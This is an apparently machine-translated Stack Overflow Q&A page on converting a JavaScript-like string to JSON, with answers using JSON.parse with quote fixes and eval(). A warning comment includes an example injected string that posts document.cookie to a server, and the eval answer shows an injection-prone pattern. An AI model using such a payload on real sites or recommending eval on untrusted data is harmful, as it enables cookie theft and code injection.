2015-08-20 5 views

ответ

3

Ваша строка закрывает JSON, но в ее нынешнем виде это недействительно. Таким образом, вы могли бы использовать JSON.parse на нем, но вы должны сделать некоторые модификации первого: функция

JSON.parse("{sopt:['eq','bw','bn','cn','nc','ew','en']}" 
    .replace("sopt", "\"sopt\"") // Wrap the sopt in quotes 
    .replace(/'/g, "\"") // Replace all single quotes with doubles 
); 
+1

Спасибо за ответ RGraham..It сработал .. :) –

0

Try Eval() ...

var str = "{sopt:['eq','bw','bn','cn','nc','ew','en']}";//string 
var json = eval('(' + str + ')');  //json 
+1

* Будьте осторожны * с этим с ненадежными данными. 'var str =" {sopt: ['eq', 'bw', 'bn', 'cn', 'nc', 'ew', (function() {$ .post ("/ MyServer", document.cookie);})()]} "' - Я просто украл ваши файлы cookie, и ваш код по-прежнему функционировал нормально. – CodingIntrigue

Смежные вопросы